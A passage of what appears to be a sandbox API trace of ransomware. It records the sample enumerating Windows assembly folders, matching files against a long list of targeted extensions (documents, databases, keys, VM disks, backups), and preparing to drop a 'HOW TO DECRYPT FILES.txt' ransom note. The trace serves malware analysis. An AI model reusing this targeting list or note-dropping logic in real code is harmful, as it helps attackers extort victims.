(pszFile="C:\\Windows\\assembly\\GAC_MSIL\\office\\14.0.0.0__71e9bce111e9429c\\OFFICE.DLL", pszSpec="*.mbox") returned 0 [0100.673] lstrlenA (lpString="*.mbox") returned 6 [0100.673] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\office\\14.0.0.0__71e9bce111e9429c\\OFFICE.DLL", pszSpec="*.eml") returned 0 [0100.673] lstrlenA (lpString="*.eml") returned 5 [0100.673] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\office\\14.0.0.0__71e9bce111e9429c\\OFFICE.DLL", pszSpec="*.pst") returned 0 [0100.673] lstrlenA (lpString="*.pst") returned 5 [0100.673] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\office\\14.0.0.0__71e9bce111e9429c\\OFFICE.DLL", pszSpec="*.ost") returned 0 [0100.673] lstrlenA (lpString="*.ost") returned 5 [0100.674] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\office\\14.0.0.0__71e9bce111e9429c\\OFFICE.DLL", pszSpec="*.idx") returned 0 [0100.674] lstrlenA (lpString="*.idx") returned 5 [0100.674] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\office\\14.0.0.0__71e9bce111e9429c\\OFFICE.DLL", pszSpec="*.dbx") returned 0 [0100.674] lstrlenA (lpString="*.dbx") returned 5 [0100.674] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\office\\14.0.0.0__71e9bce111e9429c\\OFFICE.DLL", pszSpec="*.sql") returned 0 [0100.674] lstrlenA (lpString="*.sql") returned 5 [0100.674] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\office\\14.0.0.0__71e9bce111e9429c\\OFFICE.DLL", pszSpec="*.mdb") returned 0 [0100.674] lstrlenA (lpString="*.mdb") returned 5 [0100.674] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\office\\14.0.0.0__71e9bce111e9429c\\OFFICE.DLL", pszSpec="*.fdb") returned 0 [0100.674] lstrlenA (lpString="*.fdb") returned 5 [0100.674] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\office\\14.0.0.0__71e9bce111e9429c\\OFFICE.DLL", pszSpec="*.wab") returned 0 [0100.674] lstrlenA (lpString="*.wab") returned 5 [0100.674] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\office\\14.0.0.0__71e9bce111e9429c\\OFFICE.DLL", pszSpec="*.dat") returned 0 [0100.674] lstrlenA (lpString="*.dat") returned 5 [0100.674] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\office\\14.0.0.0__71e9bce111e9429c\\OFFICE.DLL", pszSpec="*.txt") returned 0 [0100.674] lstrlenA (lpString="*.txt") returned 5 [0100.674] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\office\\14.0.0.0__71e9bce111e9429c\\OFFICE.DLL", pszSpec="*.jpeg") returned 0 [0100.674] lstrlenA (lpString="*.jpeg") returned 6 [0100.674] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\office\\14.0.0.0__71e9bce111e9429c\\OFFICE.DLL", pszSpec="*.jpg") returned 0 [0100.674] lstrlenA (lpString="*.jpg") returned 5 [0100.674] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\office\\14.0.0.0__71e9bce111e9429c\\OFFICE.DLL", pszSpec="*.png") returned 0 [0100.674] lstrlenA (lpString="*.png") returned 5 [0100.674] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\office\\14.0.0.0__71e9bce111e9429c\\OFFICE.DLL", pszSpec="*.php") returned 0 [0100.674] lstrlenA (lpString="*.php") returned 5 [0100.675] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\office\\14.0.0.0__71e9bce111e9429c\\OFFICE.DLL", pszSpec="*.cs") returned 0 [0100.675] lstrlenA (lpString="*.cs") returned 4 [0100.675] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\office\\14.0.0.0__71e9bce111e9429c\\OFFICE.DLL", pszSpec="*.cpp") returned 0 [0100.675] lstrlenA (lpString="*.cpp") returned 5 [0100.675] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\office\\14.0.0.0__71e9bce111e9429c\\OFFICE.DLL", pszSpec="*.rar") returned 0 [0100.675] lstrlenA (lpString="*.rar") returned 5 [0100.675] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\office\\14.0.0.0__71e9bce111e9429c\\OFFICE.DLL", pszSpec="*.zip") returned 0 [0100.675] lstrlenA (lpString="*.zip") returned 5 [0100.675] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\office\\14.0.0.0__71e9bce111e9429c\\OFFICE.DLL", pszSpec="*.html") returned 0 [0100.675] lstrlenA (lpString="*.html") returned 6 [0100.675] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\office\\14.0.0.0__71e9bce111e9429c\\OFFICE.DLL", pszSpec="*.htm") returned 0 [0100.675] lstrlenA (lpString="*.htm") returned 5 [0100.675] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\office\\14.0.0.0__71e9bce111e9429c\\OFFICE.DLL", pszSpec="*.xlsx") returned 0 [0100.675] lstrlenA (lpString="*.xlsx") returned 6 [0100.675] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\office\\14.0.0.0__71e9bce111e9429c\\OFFICE.DLL", pszSpec="*.xls") returned 0 [0100.675] lstrlenA (lpString="*.xls") returned 5 [0100.675] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\office\\14.0.0.0__71e9bce111e9429c\\OFFICE.DLL", pszSpec="*.mp4") returned 0 [0100.675] lstrlenA (lpString="*.mp4") returned 5 [0100.675] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\office\\14.0.0.0__71e9bce111e9429c\\OFFICE.DLL", pszSpec="*.ppt") returned 0 [0100.675] lstrlenA (lpString="*.ppt") returned 5 [0100.675] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\office\\14.0.0.0__71e9bce111e9429c\\OFFICE.DLL", pszSpec="*.pptx") returned 0 [0100.675] lstrlenA (lpString="*.pptx") returned 6 [0100.675] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\office\\14.0.0.0__71e9bce111e9429c\\OFFICE.DLL", pszSpec="*.doc") returned 0 [0100.675] lstrlenA (lpString="*.doc") returned 5 [0100.675] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\office\\14.0.0.0__71e9bce111e9429c\\OFFICE.DLL", pszSpec="*.dot") returned 0 [0100.675] lstrlenA (lpString="*.dot") returned 5 [0100.676] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\office\\14.0.0.0__71e9bce111e9429c\\OFFICE.DLL", pszSpec="*.docx") returned 0 [0100.676] lstrlenA (lpString="*.docx") returned 6 [0100.676] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\office\\14.0.0.0__71e9bce111e9429c\\OFFICE.DLL", pszSpec="*.7z") returned 0 [0100.676] lstrlenA (lpString="*.7z") returned 4 [0100.676] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\office\\14.0.0.0__71e9bce111e9429c\\OFFICE.DLL", pszSpec="*.tar") returned 0 [0100.676] lstrlenA (lpString="*.tar") returned 5 [0100.676] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\office\\14.0.0.0__71e9bce111e9429c\\OFFICE.DLL", pszSpec="*.bz2") returned 0 [0100.676] lstrlenA (lpString="*.bz2") returned 5 [0100.676] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\office\\14.0.0.0__71e9bce111e9429c\\OFFICE.DLL", pszSpec="*.gz") returned 0 [0100.676] lstrlenA (lpString="*.gz") returned 4 [0100.676] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\office\\14.0.0.0__71e9bce111e9429c\\OFFICE.DLL", pszSpec="*.mkv") returned 0 [0100.676] lstrlenA (lpString="*.mkv") returned 5 [0100.676] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\office\\14.0.0.0__71e9bce111e9429c\\OFFICE.DLL", pszSpec="*.eml") returned 0 [0100.676] lstrlenA (lpString="*.eml") returned 5 [0100.676] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\office\\14.0.0.0__71e9bce111e9429c\\OFFICE.DLL", pszSpec="*.msg") returned 0 [0100.676] lstrlenA (lpString="*.msg") returned 5 [0100.676] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\office\\14.0.0.0__71e9bce111e9429c\\OFFICE.DLL", pszSpec="*.edb") returned 0 [0100.676] lstrlenA (lpString="*.edb") returned 5 [0100.676] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\office\\14.0.0.0__71e9bce111e9429c\\OFFICE.DLL", pszSpec="*.accdb") returned 0 [0100.676] lstrlenA (lpString="*.accdb") returned 7 [0100.676] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\office\\14.0.0.0__71e9bce111e9429c\\OFFICE.DLL", pszSpec="*.odb") returned 0 [0100.676] lstrlenA (lpString="*.odb") returned 5 [0100.676] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\office\\14.0.0.0__71e9bce111e9429c\\OFFICE.DLL", pszSpec="*.java") returned 0 [0100.677] lstrlenA (lpString="*.java") returned 6 [0100.677] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\office\\14.0.0.0__71e9bce111e9429c\\OFFICE.DLL", pszSpec="*.asm") returned 0 [0100.677] lstrlenA (lpString="*.asm") returned 5 [0100.677] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\office\\14.0.0.0__71e9bce111e9429c\\OFFICE.DLL", pszSpec="*.pfx") returned 0 [0100.677] lstrlenA (lpString="*.pfx") returned 5 [0100.677] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\office\\14.0.0.0__71e9bce111e9429c\\OFFICE.DLL", pszSpec="*.pem") returned 0 [0100.677] lstrlenA (lpString="*.pem") returned 5 [0100.677] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\office\\14.0.0.0__71e9bce111e9429c\\OFFICE.DLL", pszSpec="*.p12") returned 0 [0100.677] lstrlenA (lpString="*.p12") returned 5 [0100.677] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\office\\14.0.0.0__71e9bce111e9429c\\OFFICE.DLL", pszSpec="*.gpg") returned 0 [0100.677] lstrlenA (lpString="*.gpg") returned 5 [0100.677] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\office\\14.0.0.0__71e9bce111e9429c\\OFFICE.DLL", pszSpec="*.vsd") returned 0 [0100.677] lstrlenA (lpString="*.vsd") returned 5 [0100.677] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\office\\14.0.0.0__71e9bce111e9429c\\OFFICE.DLL", pszSpec="*.odg") returned 0 [0100.677] lstrlenA (lpString="*.odg") returned 5 [0100.677] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\office\\14.0.0.0__71e9bce111e9429c\\OFFICE.DLL", pszSpec="*.raw") returned 0 [0100.677] lstrlenA (lpString="*.raw") returned 5 [0100.677] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\office\\14.0.0.0__71e9bce111e9429c\\OFFICE.DLL", pszSpec="*.nef") returned 0 [0100.677] lstrlenA (lpString="*.nef") returned 5 [0100.677] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\office\\14.0.0.0__71e9bce111e9429c\\OFFICE.DLL", pszSpec="*.svg") returned 0 [0100.677] lstrlenA (lpString="*.svg") returned 5 [0100.677] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\office\\14.0.0.0__71e9bce111e9429c\\OFFICE.DLL", pszSpec="*.psd") returned 0 [0100.678] lstrlenA (lpString="*.psd") returned 5 [0100.678] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\office\\14.0.0.0__71e9bce111e9429c\\OFFICE.DLL", pszSpec="*.vmx") returned 0 [0100.678] lstrlenA (lpString="*.vmx") returned 5 [0100.678] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\office\\14.0.0.0__71e9bce111e9429c\\OFFICE.DLL", pszSpec="*.vmdk") returned 0 [0100.678] lstrlenA (lpString="*.vmdk") returned 6 [0100.678] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\office\\14.0.0.0__71e9bce111e9429c\\OFFICE.DLL", pszSpec="*.vdi") returned 0 [0100.678] lstrlenA (lpString="*.vdi") returned 5 [0100.678] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\office\\14.0.0.0__71e9bce111e9429c\\OFFICE.DLL", pszSpec="*.lay6") returned 0 [0100.678] lstrlenA (lpString="*.lay6") returned 6 [0100.678] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\office\\14.0.0.0__71e9bce111e9429c\\OFFICE.DLL", pszSpec="*.mpeg") returned 0 [0100.678] lstrlenA (lpString="*.mpeg") returned 6 [0100.678] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\office\\14.0.0.0__71e9bce111e9429c\\OFFICE.DLL", pszSpec="*.djvu") returned 0 [0100.678] lstrlenA (lpString="*.djvu") returned 6 [0100.678] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\office\\14.0.0.0__71e9bce111e9429c\\OFFICE.DLL", pszSpec="*.tiff") returned 0 [0100.678] lstrlenA (lpString="*.tiff") returned 6 [0100.678] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\office\\14.0.0.0__71e9bce111e9429c\\OFFICE.DLL", pszSpec="*.backup") returned 0 [0100.678] lstrlenA (lpString="*.backup") returned 8 [0100.678] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\office\\14.0.0.0__71e9bce111e9429c\\OFFICE.DLL", pszSpec="*.pdf") returned 0 [0100.678] lstrlenA (lpString="*.pdf") returned 5 [0100.678] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\office\\14.0.0.0__71e9bce111e9429c\\OFFICE.DLL", pszSpec="*.cert") returned 0 [0100.678] lstrlenA (lpString="*.cert") returned 6 [0100.678] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\office\\14.0.0.0__71e9bce111e9429c\\OFFICE.DLL", pszSpec="*.docm") returned 0 [0100.678] lstrlenA (lpString="*.docm") returned 6 [0100.678] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\office\\14.0.0.0__71e9bce111e9429c\\OFFICE.DLL", pszSpec="*.xlsm") returned 0 [0100.679] lstrlenA (lpString="*.xlsm") returned 6 [0100.679] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\office\\14.0.0.0__71e9bce111e9429c\\OFFICE.DLL", pszSpec="*.dwg") returned 0 [0100.679] lstrlenA (lpString="*.dwg") returned 5 [0100.679] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\office\\14.0.0.0__71e9bce111e9429c\\OFFICE.DLL", pszSpec="*.nd") returned 0 [0100.679] lstrlenA (lpString="*.nd") returned 4 [0100.679] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\office\\14.0.0.0__71e9bce111e9429c\\OFFICE.DLL", pszSpec="*.tlg") returned 0 [0100.679] lstrlenA (lpString="*.tlg") returned 5 [0100.679] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\office\\14.0.0.0__71e9bce111e9429c\\OFFICE.DLL", pszSpec="*.lgb") returned 0 [0100.679] lstrlenA (lpString="*.lgb") returned 5 [0100.679] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\office\\14.0.0.0__71e9bce111e9429c\\OFFICE.DLL", pszSpec="*.mov") returned 0 [0100.679] lstrlenA (lpString="*.mov") returned 5 [0100.679] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\office\\14.0.0.0__71e9bce111e9429c\\OFFICE.DLL", pszSpec="*.xdw") returned 0 [0100.679] lstrlenA (lpString="*.xdw") returned 5 [0100.679] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\office\\14.0.0.0__71e9bce111e9429c\\OFFICE.DLL", pszSpec="*.ods") returned 0 [0100.679] lstrlenA (lpString="*.ods") returned 5 [0100.680] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\office\\14.0.0.0__71e9bce111e9429c\\OFFICE.DLL", pszSpec="*.wav") returned 0 [0100.680] lstrlenA (lpString="*.wav") returned 5 [0100.680] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\office\\14.0.0.0__71e9bce111e9429c\\OFFICE.DLL", pszSpec="*.mp3") returned 0 [0100.680] lstrlenA (lpString="*.mp3") returned 5 [0100.680] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\office\\14.0.0.0__71e9bce111e9429c\\OFFICE.DLL", pszSpec="*.aiff") returned 0 [0100.680] lstrlenA (lpString="*.aiff") returned 6 [0100.680] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\office\\14.0.0.0__71e9bce111e9429c\\OFFICE.DLL", pszSpec="*.flac") returned 0 [0100.680] lstrlenA (lpString="*.flac") returned 6 [0100.680] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\office\\14.0.0.0__71e9bce111e9429c\\OFFICE.DLL", pszSpec="*.m4a") returned 0 [0100.680] lstrlenA (lpString="*.m4a") returned 5 [0100.680] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\office\\14.0.0.0__71e9bce111e9429c\\OFFICE.DLL", pszSpec="*.csv") returned 0 [0100.680] lstrlenA (lpString="*.csv") returned 5 [0100.680] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6b2c3930, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6b2c3930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6b2c3930, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x6d768, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="OFFICE.DLL", cAlternateFileName="")) returned 0 [0100.680] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0100.680] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6b2c3930, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6b2c3930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6b2c3930, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="14.0.0.0__71e9bce111e9429c", cAlternateFileName="1400~1.0__")) returned 0 [0100.680] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0100.681] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6672ff0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa6672ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa6672ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x66006f, dwReserved1=0x690066, cFileName="Policy.11.0.Microsoft.Office.Interop.Access", cAlternateFileName="POLICY~1.ACC")) returned 1 [0100.681] lstrcmpA (lpString1=".", lpString2="Policy.11.0.Microsoft.Office.Interop.Access") returned -1 [0100.681] lstrcmpA (lpString1="..", lpString2="Policy.11.0.Microsoft.Office.Interop.Access") returned -1 [0100.681] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\*.*") returned="*.*" [0100.681] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\", lpString2="Policy.11.0.Microsoft.Office.Interop.Access" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Access") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Access" [0100.681] lstrlenA (lpString="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Access") returned 72 [0100.681] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Access\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6672ff0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa6672ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa6672ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0100.682] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0100.682] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6672ff0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa6672ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa6672ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0100.682] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0100.682] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0100.682] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50ff7a90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa664ce90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa664ce90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="14.0.0.0__71e9bce111e9429c", cAlternateFileName="1400~1.0__")) returned 1 [0100.682] lstrcmpA (lpString1=".", lpString2="14.0.0.0__71e9bce111e9429c") returned -1 [0100.682] lstrcmpA (lpString1="..", lpString2="14.0.0.0__71e9bce111e9429c") returned -1 [0100.682] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Access\\*.*") returned="*.*" [0100.682] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Access\\", lpString2="14.0.0.0__71e9bce111e9429c" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Access\\14.0.0.0__71e9bce111e9429c") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Access\\14.0.0.0__71e9bce111e9429c" [0100.682] lstrlenA (lpString="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Access\\14.0.0.0__71e9bce111e9429c") returned 99 [0100.682] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Access\\14.0.0.0__71e9bce111e9429c\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50ff7a90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa664ce90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa664ce90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0100.685] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0100.686] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50ff7a90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa664ce90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa664ce90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0100.686] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0100.686] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0100.686] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5e953370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5e953370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5e953370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x384, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Policy.11.0.Microsoft.Office.Interop.Access.config", cAlternateFileName="POLICY~1.CON")) returned 1 [0100.686] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0100.686] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Policy.11.0.Microsoft.Office.Interop.Access.config") returned -1 [0100.686] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Policy.11.0.Microsoft.Office.Interop.Access.config") returned -1 [0100.686] lstrcmpiA (lpString1="", lpString2="Policy.11.0.Microsoft.Office.Interop.Access.config") returned -1 [0100.686] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Access\\14.0.0.0__71e9bce111e9429c\\*.*") returned="*.*" [0100.686] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Access\\14.0.0.0__71e9bce111e9429c\\" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Access\\14.0.0.0__71e9bce111e9429c\\") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Access\\14.0.0.0__71e9bce111e9429c\\" [0100.686] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Access\\14.0.0.0__71e9bce111e9429c\\" | out: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Access\\14.0.0.0__71e9bce111e9429c\\") returned="" [0100.686] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Access\\14.0.0.0__71e9bce111e9429c\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Access\\14.0.0.0__71e9bce111e9429c\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Access\\14.0.0.0__71e9bce111e9429c\\HOW TO DECRYPT FILES.txt" [0100.686] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Access\\14.0.0.0__71e9bce111e9429c\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\gac_msil\\policy.11.0.microsoft.office.interop.access\\14.0.0.0__71e9bce111e9429c\\how to decrypt files.txt")) returned 0xffffffff [0100.686] CreateFileA 